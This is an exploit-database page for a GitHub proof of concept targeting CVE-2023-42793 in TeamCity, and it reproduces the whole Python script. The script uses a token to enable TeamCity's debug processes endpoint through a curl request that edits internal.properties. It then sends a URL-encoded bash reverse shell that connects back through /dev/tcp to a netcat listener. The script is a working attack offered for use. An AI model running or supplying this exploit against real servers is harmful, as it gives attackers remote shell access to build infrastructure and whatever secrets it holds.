Exploit database

GH-b98f9651ca609be95d7cbf8c80bb30f6

hhesenjan/cve-2023-42793

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-42793

13 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
hhesenjan/cve-2023-42793Revision 57f3b934b6f4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.py

Python · 1,628 bytes
import argparse
import subprocess

def main():
    parser = argparse.ArgumentParser(description="Exploit Reverse Shell on TeamCity")
    parser.add_argument("-t", "--token", required=True, help="The TeamCity token")
    parser.add_argument("-u", "--url", required=True, help="The TeamCity URL (example: http://teamcity.runner.htb)")
    parser.add_argument("-p", "--port", required=True, type=int, help="TeamCity port example 80")
    parser.add_argument("-ni", "--ncip", required=True, help="Netcat listener IP")
    parser.add_argument("-np", "--ncport",required=True, type=int, help="Netcat listener Port")
    args = parser.parse_args()
		
    # Preparing request to enable debug mode
    enable_debug_command = f'curl -X POST "{args.url}:{args.port}/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true" -H "Authorization: Bearer {args.token}" -H "Content-Type: text/plain"'
	
    # Running `curl` command 
    subprocess.run(enable_debug_command, shell=True, check=True)
	
    # Reverse Shell encoded in URL
    reverse_shell_command = "%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f{0}%2f{1}%20%30%3e%26%31".format(args.ncip, args.ncport)

    # Preparing request to send reverse shell payload
    rce_command = f'curl -X POST "{args.url}:{args.port}/app/rest/debug/processes?exePath=/bin/bash&params=-c&params={reverse_shell_command}" -H "Authorization: Bearer {args.token}" -H "Content-Type: text/plain"'
    
    # Running `curl` command`
    subprocess.run(rce_command, shell=True, check=True)
	
if __name__ == "__main__":
    main()